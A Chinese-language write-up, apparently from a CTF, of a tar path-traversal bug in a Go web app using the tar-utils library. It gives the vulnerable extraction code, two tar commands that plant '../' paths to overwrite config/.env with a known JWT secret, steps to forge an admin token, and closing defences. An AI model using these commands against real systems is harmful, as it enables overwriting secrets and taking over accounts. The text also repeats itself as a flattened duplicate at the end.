浅谈Go web中的Tar解压缩漏洞
字数 848 2025-08-22 12:23:19

Go Web中的Tar解压缩路径穿越漏洞分析与利用

漏洞概述

在Go语言的Web开发中,处理文件上传和压缩文件(如tar文件)时,存在路径遍历漏洞。这种漏洞允许攻击者通过精心构造的tar文件,将文件解压到任意目录,从而覆盖重要文件或执行其他恶意操作。

漏洞代码分析

关键代码位置

漏洞主要存在于file.go文件中的extractTar函数:

func extractTar(tarPath string, userID uint) (string, error) {
    userDir := filepath.Join(extractedDir, fmt.Sprintf("%d", userID))
    err := os.MkdirAll(userDir, os.ModePerm)
    if err != nil {
        return "", err
    }

    tarFile, err := os.Open(tarPath)
    if err != nil {
        return "", err
    }
    defer tarFile.Close()

    extractor := &tar.Extractor{
        Path: userDir,
    }
    err = extractor.Extract(tarFile)
    if err != nil {
        return "", err
    }

    return userDir, nil
}

漏洞利用条件

  1. 系统使用github.com/whyrusleeping/tar-utils库进行tar文件解压
  2. 解压时没有对文件路径进行严格校验
  3. 目标系统有敏感文件可被覆盖(如.env文件)

漏洞利用方法

方法一:使用-P参数创建恶意tar文件

  1. 在Linux系统中创建多层目录结构:

    mkdir -p /tmp/exp/config
    echo "JWT_SECRET=Hacker!!!Is_secret!!!" > /tmp/exp/config/.env
    
  2. 使用-P参数创建tar文件(保留绝对路径):

    tar -cvPf malicious.tar -C /tmp exp/config/.env
    
  3. 上传该tar文件后,系统会解压并覆盖./config/.env文件

方法二:使用transform参数修改路径

  1. 创建测试文件:

    mkdir -p /tmp/exp
    echo "JWT_SECRET=Hacker!!!Is_secret!!!" > /tmp/exp/.env
    
  2. 使用transform参数创建恶意tar文件:

    tar --transform 's,exp/,exp/../../../,' -cvf malicious.tar -C /tmp exp/.env
    

路径穿越原理

底层源码中的解压文件函数在处理路径时:

  1. 将路径字符串按/划分
  2. 丢弃第一个切片
  3. 因此:
    • 对于/../../../.env只需要三层回退
    • 对于../../../../config/.env需要四层回退

漏洞利用流程

  1. 构造恶意tar文件覆盖.env文件(包含已知的JWT密钥)
  2. 上传恶意tar文件
  3. 系统解压时会覆盖config/.env文件
  4. 重新登录系统,使用已知密钥伪造JWT token
  5. 获取管理员权限访问flag文件

防御措施

  1. 解压前校验文件路径:

    func safeJoin(base, path string) (string, error) {
        fullPath := filepath.Join(base, path)
        if !strings.HasPrefix(filepath.Clean(fullPath), filepath.Clean(base)+string(os.PathSeparator)) {
            return "", fmt.Errorf("unsafe path traversal")
        }
        return fullPath, nil
    }
    
  2. 使用安全的解压库或自行实现安全的解压逻辑

  3. 限制上传文件类型和大小

  4. 对敏感配置文件设置只读权限

  5. 使用不可变的配置或环境变量

总结

该漏洞展示了在文件处理过程中路径校验的重要性。通过精心构造的tar文件,攻击者可以绕过常规的文件上传限制,实现目录穿越和敏感文件覆盖。开发者在实现文件解压功能时,必须对所有解压路径进行严格校验,防止路径穿越攻击。

Go Web中的Tar解压缩路径穿越漏洞分析与利用 漏洞概述 在Go语言的Web开发中,处理文件上传和压缩文件(如tar文件)时,存在路径遍历漏洞。这种漏洞允许攻击者通过精心构造的tar文件,将文件解压到任意目录,从而覆盖重要文件或执行其他恶意操作。 漏洞代码分析 关键代码位置 漏洞主要存在于 file.go 文件中的 extractTar 函数: 漏洞利用条件 系统使用 github.com/whyrusleeping/tar-utils 库进行tar文件解压 解压时没有对文件路径进行严格校验 目标系统有敏感文件可被覆盖(如 .env 文件) 漏洞利用方法 方法一:使用-P参数创建恶意tar文件 在Linux系统中创建多层目录结构: 使用-P参数创建tar文件(保留绝对路径): 上传该tar文件后,系统会解压并覆盖 ./config/.env 文件 方法二:使用transform参数修改路径 创建测试文件: 使用transform参数创建恶意tar文件: 路径穿越原理 底层源码中的解压文件函数在处理路径时: 将路径字符串按 / 划分 丢弃第一个切片 因此: 对于 /../../../.env 只需要三层回退 对于 ../../../../config/.env 需要四层回退 漏洞利用流程 构造恶意tar文件覆盖 .env 文件(包含已知的JWT密钥) 上传恶意tar文件 系统解压时会覆盖 config/.env 文件 重新登录系统,使用已知密钥伪造JWT token 获取管理员权限访问flag文件 防御措施 解压前校验文件路径: 使用安全的解压库或自行实现安全的解压逻辑 限制上传文件类型和大小 对敏感配置文件设置只读权限 使用不可变的配置或环境变量 总结 该漏洞展示了在文件处理过程中路径校验的重要性。通过精心构造的tar文件,攻击者可以绕过常规的文件上传限制,实现目录穿越和敏感文件覆盖。开发者在实现文件解压功能时,必须对所有解压路径进行严格校验,防止路径穿越攻击。